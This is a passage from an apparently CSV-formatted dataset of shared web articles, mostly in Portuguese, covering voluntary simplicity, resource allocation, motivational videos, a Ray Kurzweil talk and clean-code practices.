referências da série estão ali por acaso. Basta ver a reação apaixonada de todo mundo nas redes sociais na semana passada.",pt
1469652581,CONTENT SHARED,-7726397374158219907,-5527145562136413747,-6144339880826182002,,,,HTML,"http://www.em.com.br/app/noticia/especiais/pensar-e-agir/2014/07/26/noticia-pensar-e-agir,549245/simples-assim.shtml",Simples assim,"Marcelo Freitas Autorretrato de Christopher Johnson McCandless no ônibus que escolheu como refúgio, no Alasca, e no qual foi encontrado morto. Foi o fim da linha de sua desesperada e trágica luta para se manter à margem da sociedade de consumo (foto: Reprodução/Internet) No verão de 1990, o jovem americano Christopher Johnson McCandless, de 24 anos, logo depois de formar-se na universidade, mudou de nome, doou a uma instituição de caridade os US$ 24 mil que tinha na poupança, abandonou o carro e a maioria de seus pertences e saiu pelo mundo em uma aventura totalmente à margem da sociedade de consumo e em contato mais próximo com a natureza. Em agosto de 1994, ele foi encontrado morto em um ônibus abandonado em uma região inóspita do Alasca. A trágica história de Christopher McCandles foi contada no livro Na natureza selvagem, escrito pelo jornalista John Krakauer, e virou filme, dirigido por Sean Penn. McCandless pode ser definido como um adepto radical da filosofia da simplicidade voluntária, cujo eixo central é a negação do consumismo. O jovem americano foi extremamente radical ao colocar em prática a ideia de que é possível viver à margem do consumismo. Não é preciso arriscar a vida para praticar a simplicidade voluntária. Em todo o mundo, cresce, principalmente entre os jovens, a o pensamento de que a felicidade não está, necessariamente, associada à ideia de que é preciso ter o último modelo de celular, trocar de carro a cada ano ou ter um guarda-roupa repleto de peças - na linha de que cada modelo serve para uma ocasião específica. A palavra que melhor define o que é a simplicidade voluntária é desapego. Foi o que fez Heloisa Andrade de Paula. Ela não adotou uma solução radical como McCandless. Mudou aos poucos. Tudo começou em 2004. Ela morava nos Estados Unidos, onde fazia pós-graduação e se via cercada de oportunidades para comprar sempre mais. ""Tinha uma ponta de estoque de roupas perto de casa e eu sempre passava e comprava uma camiseta, um agasalho, sapatos, só por distração. Também comprava muitos livros e o que todo mundo tinha na época: câmera digital, computador, impressora, webcam e aparelho de som."" O primeiro contato com a simplicidade voluntária se deu por meio de livros. Foi a partir daí que começou a mudança de hábitos. Deixou de comprar eletrônicos. Hoje só tem o laptop e o celular. A televisão quebrou e não comprou outra. Doou várias roupas que não usava mais, entrou para um site de troca de livros e ficou só com os de que realmente gosta. Parou de usar a ida ao shopping ou a lojas como lazer e começou a prestar atenção ao que entra em sua casa, mesmo que sob a forma de brindes. Ela afirma que a transição de um estilo de vida ao outro foi feita de forma gradual, sem radicalismo. ""E fui passando de um estilo ao outro devagar."" Ao voltar dos Estados Unidos, em 2007, trouxe a ""mudança"" em duas malas e duas caixas, que despachou por navio. Nelas estavam apenas roupas, fotos, livros e CDs. Ela afirma que, se fosse hoje, traria menos coisas. Heloisa não se arrepende da mudança que fez. Ela mora em um apartamento de 30 metros quadrados, não tem carro, usa o metrô para ir e voltar do trabalho e se considera feliz com a vida que tem. ""O maior ganho que eu tive é ver que eu escolhi tudo o que tenho e tenho poucos supérfluos. Minha vida ficou mais organizada e mais leve"", afirma. A preocupação com um estilo de vida menos centrado na posse de bens não é uma ideia nova. No passado mais distante, pensadores como Sócrates e Santo Agostinho já a defendiam. Mais recentemente, no século 19, o americano Henry David Thoreau decidiu colocá-la em prática. Em julho de 1845, desgostoso com o crescente mercantilismo da sociedade americana, ele deixou Concord, Massachusetts, sua cidade natal, para instalar-se à beira do Lago Walden, onde, por dois anos, dois meses e dois dias, viveu suprindo suas próprias necessidades. Sua experiência foi descrita no livro Walden ou a vida nos bosques, até hoje reeditado, tal a atualidade do que defende. No século 20, o psicanalista alemão Erich Fromm publicou Ter ou ser, livro no qual analisa as duas filosóficas de vida, resumidas por ele em uma única frase: ""A grande diferença entre ser e ter é a que se estabelece entre uma sociedade centrada sobre as pessoas e uma sociedade centrada sobre as coisas"". Nos agitados anos 1960, os hippies foram os que melhor encarnaram o espírito de um mundo não baseado na posse de bens, mas sim nos princípios da paz e do amor. Os hippies duraram não mais que uma década. Sucumbiram diante da força da sociedade do consumo. Os hippies do século 21 trabalham, têm casa e família, não são cabeludos e, ainda por cima, apreciam muitos dos prazeres cultuados pelos que têm a posse de bens como um algo de muito valor. Em geral, em vez de enormes apartamentos ou casas, preferem viver em espaços menores. Tanto que em São Paulo já são comercializados apartamentos com pouco mais de 20 metros quadrados. Outro empurrão foi dado pelo avanço da tecnologia digital. Em vez de uma estante repleta de CDs, um bom computador; no lugar de uma estante de livros, um kindle, como é conhecido o leitor digital de livros da Amazon. Na Europa, o compartilhamento de carros já preocupa a indústria automobilística. Seus executivos estão cientes de que, cada vez mais, a posse de um automóvel deixa de ser prioridade para a nova geração, que prefere o transporte público ou o compartilhamento de carros, um serviço no qual a pessoa paga pelo tempo de uso, que é dividido com outros usuários. No Brasil, onde o transporte público não tem a mesma capilaridade que na Europa, o compartilhamento de automóveis está ainda engatinhando, mas já é oferecido em São Paulo, onde, aos poucos, não como uma febre ou modismo passageiro, a filosofia da simplicidade voluntária vai encontrando novos adeptos, como a jornalista Maria da Conceição Vieira, de Belo Horizonte. Ela optou por não ter televisão nem automóvel, mas não abre mão de alguns itens de conforto da vida moderna, como a máquina de lavar roupas, geladeira e computador. Recentemente, mudou-se para um apartamento cujo valor do condomínio é menos da metade do valor do condomínio do imóvel no qual morava antes. Com a mudança, ela passou a poder ir e voltar do trabalho de bicicleta, pois a ligação entre o local onde mora e o trabalho é coberta por uma ciclovia. Seus gastos estão direcionados para viagens e cultura. Recentemente, nas férias, passou 20 dias no Pará. Para ela, a vida baseada no consumo afasta as pessoas umas das outras. Com o estilo de vida que adotou, Conceição Vieira diz que desenvolveu a sensibilidade para ver as pessoas segundo outros valores, de maior profundidade, que não sua aparência exterior. ""A vida é mais do que isso."" Conceição Vieira afirma também que a simplicidade é perfeitamente compatível com a vida nas cidades, não sendo necessário fazer voto de pobreza nem buscar o retorno ao mundo da natureza selvagem, como na história de Christopher Johnson McCandless. Trata-se, segundo ela, de algo que requer uma reflexão diária para descobrir o que é e o que não é necessário para uma vida simples, mas sem abrir mão do conforto. Os passos da simplicidade voluntária * Reflita sobre seus hábitos de consumo Uma vida simples requer um equilíbrio, um meio-termo, entre os extremos da pobreza e do excesso. Essa é uma tarefa estritamente pessoal. É preciso diferenciar necessidades - bens essenciais à sobrevivência e crescimento - dos desejos ou vontades - bens materiais supérfluos, que apenas gratificam desejos psicológicos - e encontrar aquilo que é suficiente para a manutenção da vida. * Viva com um propósito mais definido Adotar um estilo de vida simples é viver com mais consciência, com mais intenção e um propósito definido. É evitar distrações desnecessárias e buscar uma vida de equilíbrio, de forma contínua, dinâmica e real. A vida simples não se confunde com viver uma vida de pobreza, que é prejudicial e degradante. Tampouco significa abrir mão do progresso, uma vez que busca tirar proveito das tecnologias compatíveis com um modo de vida sustentável. Também não significa um retorno ao ambiente bucólico, uma vez que é possível viver uma vida simples onde quer que seja, até mesmo numa metrópole. O desafio consiste em adotar padrões ecológicos de vida menos orientados ao consumo e à posse de bens materiais. * Valorize os relacionamentos Dê atenção aos aspectos psicológicos e espirituais da vida, adotando um estilo de vida que promova o crescimento pessoal, valorize os relacionamentos e integre as pessoas na comunidade em que vive, amplificando os processos de cooperação e reforçando os laços de solidariedade. * Amplie sua percepção da vida A simplicidade voluntária requer uma mudança de mentalidade em relação ao universo, considerando-o como um lar a ser preservado, e em relação à morte, considerando-a como uma aliada, pois, como temos um período finito de tempo na Terra, passamos a estar mais conscientes da necessidade de valorizarmos menos os aspectos materiais da vida e valorizarmos mais os aspectos intangíveis. * Controle suas ações Assuma um efetivo controle de suas ações e pensamentos, uma vez que boa parte deles não passa de reproduções automáticas de comportamentos enraizados na cultura da sociedade, principalmente em relação ao consumo. * Valorize a intenção A simplicidade voluntária envolve não apenas os aspectos puramente objetivos da atividade, mas, sobretudo, os aspectos subjetivos, ou seja, a intenção com que se faz. Um exemplo: duas pessoas que usam a bicicleta para ir ao trabalho, para economizar combustível. A primeira usa a bicicleta para se exercitar fisicamente, ter contato com a natureza e poupar energia. Ela teria a possibilidade de usar o carro, mas opta pela bicicleta e sente grande satisfação por isso. Já a segunda pessoa vai de bicicleta ao trabalho porque não tem condições de comprar um carro. Ela anseia por ter um carro e fica ressentida toda vez que tem que ir e voltar do trabalho de bicicleta. Sites e blogs www.simplicidadevoluntaria.com www.valoresreais.com simplicitycollective.com viversemdinheiro.blogspot.com.br Comunidades no Facebook www.facebook.com/SimplicidadeVoluntaria www.facebook.com/pages/Simplicidade-Voluntária/324562180973091?fref=ts www.facebook.com/groups/274482462639871/?fref=ts Livros Simplicidade voluntária De Duane Elgin, descreve quais são os princípios da simplicidade voluntária Assista a entrevista com o autor em Ter ou ser De Erich Fromm, discute as diferenças entre duas filosofias de vida, uma centrada na acumulação de bens, outra na valorização do humanismo Walden ou a vida nos bosques Conta a história de Henry David Thoreau, que em 1845 instalou-se às margens do Lago Walden, onde morou por dois anos, dois meses e dois dias à margem da sociedade Assista a documentário sobre o autor em Na natureza Selvagem De Jon Krakauer, relata a história de Christopher Johnson McCandless, de 24 anos, que, em 1990, decidiu viver à margem da sociedade do consumo, mas foi encontrado morto em um ônibus abandonado no Alasca.Assista a trailer legendado do filme em",pt
1469653022,CONTENT SHARED,6541551984368289722,3609194402293569455,-6452196119325644911,,,,HTML,https://endeavor.org.br/como-fazer-alocacao-recursos/,O AC/DC te ensina alocação de recursos,"Rock e alocação de recursos tem mais a ver do que você pensa. Confira as lições que tiramos a partir da banda AC/DC. Parte 2 da série sobre eficiência. Se você perdeu o passo 1, sobre produtividade, basta clicar aqui e conferir. Na sua empresa, é bem provável que não exista um Bon Scott em potencial tomando conta do financeiro ou atendendo clientes. Por outro lado, também é provável que muitos colaboradores estejam sendo mal aproveitados em tarefas nas quais têm um desempenho abaixo de seu verdadeiro potencial. E isso não quer dizer que eles trabalhem pouco . A raiz do problema está em um conceito que empreendedores e gestores costumam subestimar, especialmente nas empresas de serviços: a alocação. Antes de começarmos, você sabe o que é alocação? Basicamente, trata-se de empregar corretamente os recursos que estão à disposição do seu negócio. Pense, por exemplo, em desenvolvedoras de softwares, consultorias, empresas de engenharia ou escritórios de arquitetura e advocacia, entre outras companhias de serviços. Tudo que elas têm à disposição para fazer seu trabalho pode ser resumido em três coisas: pessoas, tecnologias e tempo. Logo, é importantíssimo que elas saibam como usar esses recursos sabiamente. Leia também: Competências: entenda o que é e como usar em prol do seu negócio Mas o desafio não é tão simples quanto parece. As próprias pessoas, por exemplo, trazem consigo outros tipos de recursos essenciais para as empresas de serviços como conhecimentos, competências, talentos e experiências. Por isso, alocá-los corretamente é vital. Na maioria das vezes, o processo esbarra em armadilhas que permanecem ocultas no dia a dia do negócio . Uma delas é a falta de conhecimento . Muitos empresários não sabem ao certo quais são os recursos que estão a seu alcance. O sintoma dessa armadilha aparece na hora de precificar um serviço. Empresas que não conhecem seus recursos têm dificuldades para definir quantas pessoas são necessárias em cada equipe e em quantas horas é possível entregar um determinado projeto. Outra armadilha comum está no próprio estilo de trabalho de alguns empreendedores. Há aqueles que são centralizadores demais e fazem questão de revisar tudo que acontece na empresa - do atendimento à contabilidade. Leia também: Como delegar tarefas? Empoderamento Como não são máquinas, porém, eles acabam se tornando uma espécie de gargalo interno. Os projetos atrasam, as tarefas são refeitas e nada vai adiante sem o aval deles. Enquanto isso, o restante da equipe fica ociosa, desperdiçando dois recursos vitais para as empresas de serviços: pessoas e tempo. O primeiro passo para buscar a alocação de recursos eficiente é conhecer a fundo os recursos do seu negócio. Trata-se de fazer um grande inventário com tudo aquilo que pode ser usado a favor da empresa : os colaboradores, suas competências, conhecimentos, aptidões, horas contratadas, softwares, sistemas, etc. Sem um bom mapeamento de recursos, é impossível alocá-los adequadamente. O mapeamento pode ser feito de diferentes formas. É possível, por exemplo, usar métodos como a matriz de competências - ou matriz de expertises. Basicamente, ela permite organizar os recursos que sua empresa tem à disposição. Assim, é possível verificar se esse ""estoque"" de expertises é suficiente para atender as demandas que surgem a cada novo projeto. O empresário que utiliza a matriz de expertises tem melhores condições de: Entender o que sua empresa é realmente capaz de realizar; Identificar quantos e quais são os profissionais necessários para atender cada projeto contratado; Antecipar as competências que serão exigidas no futuro e, assim, planejar o tamanho e o perfil ideal de cada equipe (falaremos mais sobre isso nos próximos capítulos desse Guia); Alocar recursos com eficiência. Agora, uma nova geração de softwares vem surgindo com a missão de facilitar esse tipo de processo. Para ajudar essas organizações a alocar corretamente seus recursos, plataformas que registram e analisam o histórico de desempenho de cada profissional estão sendo criadas, formando o que nós chamamos de track record . À medida que essas informações vão se acumulando, fica mais fácil entender onde e como cada pessoa deve ser alocada . Ou seja: a empresa ganha em inteligência, outro recurso indispensável para a busca da eficiência. Cada pessoa é singular e única. Ainda que muitas tenham competências semelhantes, suas aptidões variam conforme o perfil . No ramo comercial, por exemplo, nem todos os vendedores gostam de abordar pessoas e fazer prospecção ativa. Alguns preferem trabalhar na elaboração de estratégias de vendas ou executar funções de apoio que dispensam o contato direto com o cliente. Entender isso é fundamental para a boa alocação de recursos. Mais do que respeitar, é preciso valorizar os diferentes perfis de personalidade à disposição da empresa. Só assim é possível extrair o melhor de cada pessoa e criar um ambiente de trabalho mais produtivo . Para isso, é importante que o mapeamento de recursos leve em conta os perfis de cada funcionário. E não se trata de controlar, muito menos de usar os dados para pressionar os membros da equipe. O que se quer é descobrir onde os profissionais da sua empresa têm melhores chances para descobrir seu verdadeiro potencial . Com sorte, talvez seja possível descobrir que o motorista da sua equipe também tem condições de se tornar a grande estrela da sua empresa, seja ela uma prestadora de serviços ou uma banda de rock.",pt
1469653068,CONTENT SHARED,6341647533150019811,3609194402293569455,-6452196119325644911,,,,HTML,http://saiadolugar.com.br/empreendedorismo/videos-motivacionais/,Vídeos motivacionais: os 21 vídeos mais incríveis.,"Diversas vezes nos sentimos desanimados, sem vontade de continuar trabalhando ou até mesmo seguir com tarefas cotidianas. É normal se sentir assim às vezes e não há problemas nisso. Entretanto, é válido fazer o possível para conseguir se energizar e fazer o que deve ser feito para que o desânimo não lhe paralise. É por isso que selecionamos aqui os melhores vídeos motivacionais , para ver se conseguimos te ajudar a conseguir o vigor que precisa! Você consegue mais do que pensa. Nessa cena clássica do filme Encarando Gigantes, o técnico pede a um de seus atletas que atravesse 50 jardas (46 metros, aproximadamente) carregando um membro da equipe nas costas. A história de todo o filme é emocionante e carregada de superação, enquanto um técnico fracassado tenta levar seu time a vitória em um campeonato. Para aqueles que não conhecem muito sobre futebol americano, um campo tem em torno de 110 metros e essa informação pode tornar esse trecho ainda mais interessante. Quem é você? Esse treinador quer lhe deixar uma mensagem sobre quem é você. Qual a visão que tem de si mesmo? Seu inimigo pode ser a percepção errônea de que você não pode vencer. Talvez sejam outros, talvez alguém esteja lhe dizendo que você não pode fazer o que sonha. Você tem tido a confiança para provar a eles e para si mesmo que consegue vencer? Que é um campeão? Aproveite o dia pois seu tempo é limitado. No filme Sociedade dos Poetas Mortos, o entusiástico professor John Keating , interpretado por Robin Williams , deixa uma lição a seus alunos nesse curto trecho : Carpe Diem , ou seja, aproveite o dia. A vida é breve e por vezes temos a impressão de que temos todo o tempo do mundo. Entretanto, cada dia é um novo dia para ser aproveitado e o tempo na verdade é bem curto! Persiga seus sonhos e você não se arrependerá. Cada pessoa tem um talento especial, cada pessoa tem uma habilidade e uma preciosidade individual. O que tem feito de suas aptidões? Você tem utilizado aquilo que você possui? Segundo esse curto filme , pessoas não escolhem sonhos, elas são escolhidas por eles. Há algo que você nasceu para fazer: Você tem perseguido o sonho que escolheu você? Você pode estar sofrendo agora, mas você pode sofrer rumo ao sucesso ou sofrer pelo arrependimento de não ter tentado o suficiente. O que você quer ser quando crescer? Esse talvez seja um dos vídeos motivacionais mais transmitidos em palestras motivacionais: O que você quer ser quando crescer ? Quando crianças nos permitimos sonhar, mas em algum momento perdemos um pouco dessa habilidade. Trabalhar, adquirir experiências, se esforçar, para onde essas coisas estão lhe levando? Onde você quer chegar ao final dessa longa jornada de esforço? Às vezes você precisa de um motivo mais forte para adquirir a força de vontade e fazer o que precisava estar realizando nesse exato momento. Qual seu maior sonho? Ayrton Senna e a mensagem de um campeão Quer ouvir ao conselho de um tricampeão mundial de Fórmula 1 e o maior piloto da história do esporte? Veja . Você pode encarar as dificuldades com muita calma e profissionalismo ou no desespero abandonar tudo. Você quer abandonar tudo? Impossível duvidar dessas palavras quando ditas de forma tão pacífica por um verdadeiro vencedor. Como tem vivenciado suas emoções? O que tem feito delas? Qual a sua desculpa do dia? Se há um milhão de razões para fazer algo, sempre conseguimos encontrar dois milhões de razões para NÃO fazer algo. Desculpas vêm e vão, mas as tarefas, os prazos, as responsabilidades e as metas permanecerão lá enquanto nada for feito. Nesse comercial da Nike , Matt Scott lista algumas desculpas comuns enquanto quica suas bolas de basquete. O final deste vídeo pode lhe surpreender. Apenas faça. Os pontos se conectarão no futuro. Nessa montagem de 5 minutos há diversas mensagens profundas que podem lhe incentivar a entrar em movimento. O vídeo se inicia com uma parte do discurso de formatura de Steve Jobs aos formandos de Stanford em que ele diz que é impossível conectar os pontos olhando para frente, pois o sentido de certas coisas só surge quando olhamos para trás. Por exemplo, ao estudar caligrafia, Steve Jobs jamais imaginou que seu esforço em praticar isso o ajudaria a implementar as fontes Serif e Sans Serif do primeiro Macintosh . E imagine o que seria dos computadores atuais sem diferentes fontes? Às vezes por medo ou incerteza é difícil entender porque o esforço que estamos fazendo hoje vale a pena. Mas no futuro nossos atos se encaixarão e por isso é importante seguir em frente. Não é sobre quantas vezes você cai e sim quantas você levanta. Quem nunca se emocionou ao ver o famoso boxeador interpretado por Sylvester Stallone nos filmes Rocky? Nesse vídeo do filme Rocky Balboa, o boxeador dá uma lição ao seu filho: Acredite em si mesmo e no próprio potencial de mudança, pois a vida às vezes não é fácil e culpar aos outros não ajuda. Diversas vezes cairá, o que não significa que você precisa continuar no chão. Esse vídeo vai te dar arrepios. A partir dessa compilação fantástica de cenas de filmes, esportes, citações e discursos famosos você irá se sentir bastante revigorado. Logo no início já é possível sentir alguns arrepios: o vídeo começa com o """", uma dança típica dos aborígenes Maori. Tal dança é praticada por um dos melhores times de rugby do mundo, os neozelandeses All Blacks antes de cada disputa. O início desse vídeo carrega um pouco da energia desse time famoso. Aproveite e pegue um pouco dela para você. Por que caímos? Mais uma compilação interessante. Se estiver passando por um momento difícil agora, pode ser para você. Falhar faz parte do processo, mas isso não quer dizer que deva desistir: Um passo, um centímetro de cada vez, caminhe no sentido do sucesso e em algum momento você o alcançará. Onde quer estar em 5 anos? O que fazemos hoje define o que teremos amanhã. Se procrastinarmos, adiando o que realmente importa, isso se torna um hábito. Nosso futuro é construído sobre os tijolos de nossos hábitos. Se você se torna um procrastinador, então não alcançará nada diferente do que tem hoje. Entretanto, se der o melhor de si hoje, terá mais amanhã. Onde quer estar em 1 ano? E em 5 anos? Você tem feito o que é necessário para chegar lá? Veja essa mensagem . Mude sua mente para mudar sua atitude. É difícil mudar de hábitos, é difícil alterar sua forma de ver as coisas. Entretanto, se mudar seus pensamentos, suas atitudes acompanharão. Se modificar suas atitudes, seus pensamentos evoluirão de acordo. É um ciclo vicioso de sucesso e motivação. Talvez lhe ajude a mudar sua mente. Quem está lhe sabotando agora? O que está lhe impedindo de crescer? Será que você está minando a sua própria grandeza? Há obstáculos difíceis na estrada para o sucesso, mas só depende de você avaliar as opções que tem e encontrar os seus caminhos para alcançá-lo. Os outros não precisam acreditar em você, mas a autoconfiança é essencial. Confira sobre tempos difíceis para lhe ajudar a entender isso. Proteja seu sonho. Em ""À Procura da Felicidade"", Will Smith interpreta o pai de família Chris Gardner. A história baseada em fatos reais retrata como Chris, desempregado, abandonado pela esposa e com um jovem filho para criar, se esforça para vencer passando por diversas adversidades como dormir em abrigos e até passar uma noite em um banheiro do metrô. Em uma das diversas cenas emocionantes, Chris deixa essa mensagem ao seu filho: Proteja seu sonho. As pessoas às vezes lhe dirão que você não consegue fazer algo porque elas não conseguem fazê-lo elas mesmas. Não deixe que os outros lhe digam o que pode ou não fazer, se tiver um sonho, persiga-o. Seja o capitão de seu destino. ""Invictus"" é o nome do filme baseado na história real em que Nelson Mandela ajudou a seleção sul-africana de rugby a ganhar a copa do mundo em 1995 em um período nebuloso da história da África do Sul. Nessa cena do filme , enquanto o capitão François Pienaar visita a prisão em que Nelson Mandela permaneceu por 27 anos, é citado um poema de William Ernest Henley de mesmo nome: ""Invictus"". Esse poema, o favorito de Nelson Mandela , reflete a mentalidade de quem após tanto tempo em dificuldade ainda conseguiu presidir uma nação. Use o ""porquê"" certo. Quantas vezes nos perguntamos: ""Por que estou sofrendo?"" ""Por que isso aconteceu logo comigo?"" Mas esquecemos do mais importante: porque estamos na posição em que sofremos? Não é essa a única forma de alcançar aquilo que tanto almejamos? lhe questionarão diversos ""porquês"". Mas alguns deles lhe lembrarão a razão de estar onde está. Hora de acordar. ""6 da manhã e você não consegue alcançar o despertador a tempo, antes das vozes em sua cabeça começarem a lhe dizer que está muito cedo, muito escuro e muito frio para sair da cama."" Quantos não se identificam com essa frase do início desse vídeo ? Pode ser muito difícil ter o auto controle para não se deixar levar por esse tipo de pensamento. Sentir-se triste, cansado ou angustiado não é necessariamente um motivo para não agirmos. Aceitar as próprias emoções e abraçá-las faz parte do processo, mas o que sentimos e o que fazemos são coisas distintas. Sentir-se desmotivado não precisa impedi-lo de fazer o que precisa ser feito. Afinal, o que leva ao bem estar são as escolhas cotidianas entre fazer o que acha certo e o que acha errado, mesmo que fazer o certo muitas vezes dê mais trabalho e não dê a recompensa imediata. A famosa zona de conforto. Zona de conforto é quando você não sente medo, não se expõe ao novo, está extremamente confortável e agindo da maneira a qual você já está acostumado. Entretanto, qual o custo de estar sempre confortável? Seguir o seu propósito pode trazer algum desconforto, você está preparado para lidar com ele? Quem está faminto não mede esforços para conseguir comida. A medida que barreiras são ultrapassadas você ficará cada vez mais confortável, ficará cada vez mais fácil. A persistência é como um músculo, exercite-o. apresenta palestras motivacionais de Les Brown , E ric Thomas e Elliot Hulse. Falhar é diferente de fracassar. Não há problema em tropeçar, em cair, em cometer erros. Falhar faz parte do processo de crescimento. O fracasso, entretanto, acontece quando nós desistimos de tentar. Às vezes as pessoas querem mais: Mais viagens, mais experiências, mais dinheiro. Mas elas não tentam o suficiente. Elas não sabem o custo de conseguir tais benefícios. Essa é só uma das diversas lições que Les Brown , palestrante motivacional lhe dá nesse vídeo . Quanto você quer o sucesso? Só há um caminho para o sucesso: a ação. É essa a mensagem principal desse clipe motivacional . Há algo poderoso em ver pessoas agindo, pois nos incentiva a agir também. Se quiser alcançar o sucesso deve agir de forma eficiente, planejada e com sabedoria. Quanto você realmente quer o sucesso? Quer mais do que dormir mais 5 minutos? Quer mais do que ir para aquela festa? Sem nos mover é impossível vencer, então mova-se! Segundo o palestrante motivacional Eric Thoma s, você tem de querer o sucesso tanto quanto você quer respirar. E agora? Esses são alguns dos melhores vídeos da internet para motivar as pessoas. Uma dica: Pode ser legal ter alguns deles à mão para quando você estiver com dificuldades de sair da cama ou até para te dar energia antes de reuniões e encontros importantes. Salve seus favoritos em seu navegador. Use-os à vontade. Entretanto, não se esqueça de utilizar esse entusiasmo em algo importante para você: A motivação logo se torna frustração quando não utilizada em algo produtivo. Para se motivar ainda mais, veja a nossa seleção das melhores palestras motivacionais! Então, agora que está motivado que tal saber um pouco mais sobre como agir para sair do lugar? Confira nosso texto sobre como começar uma empresa na internet .",pt
1469678235,CONTENT SHARED,-8208801367848627943,-3390049372067052505,2045534933671019150,,,,HTML,http://www.geekwire.com/2016/ray-kurzweil-world-isnt-getting-worse-information-getting-better/,Ray Kurzweil: The world isn't getting worse - our information is getting better,"Ray Kurzweil, the author, inventor, computer scientist, futurist and Google employee, was the featured keynote speaker Thursday afternoon at Postback , the annual conference presented by Seattle mobile marketing company Tune. His topic was the future of mobile technology. In Kurzweil's world, however, that doesn't just mean the future of smartphones - it means the future of humanity. Continue reading for a few highlights from his talk. On the effect of the modern information era: People think the world's getting worse, and we see that on the left and the right, and we see that in other countries. People think the world is getting worse. ... That's the perception. What's actually happening is our information about what's wrong in the world is getting better. A century ago, there would be a battle that wiped out the next village, you'd never even hear about it. Now there's an incident halfway around the globe and we not only hear about it, we experience it. On the potential of human genomics: It's not just collecting what is basically the object code of life that is expanding exponentially. Our ability to understand it, to reverse-engineer it, to simulate it, and most importantly to reprogram this outdated software is also expanding exponentially. Genes are software programs. It's not a metaphor. They are sequences of data. But they evolved many years ago, many tens of thousands of years ago, when conditions were different. How technology will change humanity's geographic needs: We're only crowded because we've crowded ourselves into cities. Try taking a train trip across the United States, or Europe or Asia or anywhere in the world. Ninety-nine percent of the land is not used. Now, we don't want to use it because you don't want to be out in the boondocks if you don't have people to work and play with. That's already changing now that we have some level of virtual communication. We can have workgroups that are spread out. ... But ultimately, we'll have full-immersion virtual reality from within the nervous system, augmented reality. On connecting the brain directly to the cloud: We don't yet have brain extenders directly from our brain. We do have brain extenders indirectly. I mean this (holds up his smartphone) is a brain extender. ... Ultimately we'll put them directly in our brains. But not just to do search and language translation and other types of things we do now with mobile apps, but to actually extend the very scope of our brain. Why machines won't displace humans: We're going to merge with them, we're going to make ourselves smarter. We're already doing that. These mobile devices make us smarter. We're routinely doing things we couldn't possibly do without these brain extenders.",en
1469710359,CONTENT SHARED,-360529647164834348,-4465926797008424436,3175398194440967503,,,,HTML,http://tableless.com.br/codigo-limpo/,Código Limpo - Está na hora de deixar o GDD (Gambiarra Driven Development) para trás!,"por Alan Cezar Um dos assuntos que costumo discutir bastante com a galera é sobre qualidade de código. Nesses papos sempre vem questões como: quais práticas podemos adotar para ter um código de alta qualidade? E como sabemos se o nosso código está bom? Como temos certeza de que estamos no caminho certo? Vou explicar meu humilde ponto de vista com exemplos e opiniões sobre qualidade de código. Vou abordar casos de uso com JavaScript, mas nada te impede aplicar muitas dessas dicas usando outras linguagens. GDD - Gambiarra Driven Development Vamos começar pela metodologia mais antiga e talvez a mais adotada no mercado. Já trabalhei com profissionais que defendiam com unhas e dentes o não uso de padrões e boas práticas. Vamos ver as desculpas justificativas mais usadas: O projeto é muito simples. Não precisa de muita frescura. Faço isso há muitos anos e dificilmente tenho problemas. Desse jeito entrego em 10 minutos o que faríamos em horas. Não preciso padronizar, o código tá fácil de entender. Não temos tempo para documentar. Não temos tempo para escrever testes. Não temos tempo para refatorar. Esse código aí não é meu. Conseguiu se lembrar de alguns momentos na sua carreira, onde você já falou ou ouviu qualquer uma das frases acima? Não? Sortudo! Não acredito que é errado você usar uma gambiarra para resolver um erro, desde que posteriormente você empregue uma solução mais robusta. O problema maior ocorre quando o uso de soluções paliativas se tornam frequentes. Mas de longe esse é o único ou pior problema que encontramos na codificação. Gambiarras e anti-patterns podem ser bons e eficientes a curto prazo, mas a longo prazo te mostram o inferno na terra. Vou apontar algumas boas práticas voltadas á escrita de código e o motivo para usá-las. Antes de tudo... Você como desenvolvedor, tem a obrigação de entender cada linha de código que você escreve. Estude boas práticas e metodologias sempre. Mas não seja ingênuo a ponto de acreditar que a adoção de uma delas irá salvar parte do seu projeto/equipe. Muitas soluções podem trazer novos problemas. Quantas vezes a solução de um bug gerou outros 10 na aplicação? Por isso é necessário sempre ter na equipe alguém experiente com bastante vivência, que saiba direcionar o projeto nesses cenários. Já vi projetos que começaram repletos de boas práticas, e terminaram desastrados por conta da falta de maturidade prática da equipe. O ponto inicial que jamais deve ser ignorado é: você como desenvolvedor, tem a obrigação de entender cada linha de código que você escreve . No caminho certo Seu código atual tem uma qualidade superior comparado com o que você escreveu há 6 meses atrás? Se sua resposta for sim, isso indica que você está no caminho certo. Programação é algo em constante evolução, o você programador, também deve evoluir. Com o passar dos anos seu código deve se tornar mais bem organizado, limpo e elegante. Uma leitura obrigatória é o livro Clean Code . Muitos artigos e palestras sobre boas práticas (incluindo esse artigo), repetem pontos abordados nesse livro. Já vi até empresas cobrando a leitura desse livro como requisito para contratação. Código Limpo Enquanto o GDD pode te dar felicidade a curto prazo, escrever código de forma limpa e consistente vai te garantir um futuro mais confortável. Você terá um código de fácil entendimento, o que tornará sua manutenção mais eficiente. E se você for um garoto prendado e cobrir sua aplicação com o máximo possível de testes, erros de regressão não irão mais chatear teu cliente/chefe. Vou focar em poucos pontos. Se quiser mais conteúdo, leia o Clean Code . Code Review Sempre peça para um colega revisar teu código. Se outra pessoa entendeu perfeitamente o que você escreveu, é um bom sinal. ""Qualquer tolo consegue escrever código que um computador entenda. Bons programadores escrevem código que humanos possam entender."" - Martin Fowler Linters Ferramentas que escaneiam nosso código procurando o uso de más práticas e possíveis erros de execução, são nossos aliados. No dia-a-dia costumo usar o JSHint e agora meu novo parceiro: JSInspect . Gosto do JSHint pelo fato de poder customizar algumas regras. Já o JSInspect te ajuda á identificar o padrão copy & paste , te ajudando a escrever módulos melhores. Nomenclaturas Quando me perguntam qual parte da programação eu acho mais difícil, respondo na lata: nomear coisas. Passamos boa parte do tempo fazendo isso no nosso código, nomeando funções, variáveis, classes, namespaces, etc. Muitas vezes demoramos até chegar em um resultado bacana. Seja verboso ""Existem duas coisas muito difíceis na Ciência da Computação: invalidar cache e dar nome às coisas."" - Phil Karlton Consegue me dizer se você entende de cara o que faz a instrução abaixo? E agora com o código abaixo? Conseguiu entender tudo? Vamos ver se fica mais fácil: Nomear a variável como u não ajudou muito. Principalmente se você for reutilizar essa variável muitas linhas abaixo. Abreviações também atrapalham bastante. Duvido que de imediato você soube o significado de u.cptTasks . Pode ter tido várias idéias, o que te guiou ao velho achismo . E quantos erros já não cometemos pelo simples fato de acharmos isso ou aquilo? Considere o uso da nossa querida Língua Portuguesa Usar a língua portuguesa para nomear coisas pode ser muito bom, principalmente para os novatos. Pelo simples motivo de que fazendo isso, fica mais visível o que é API 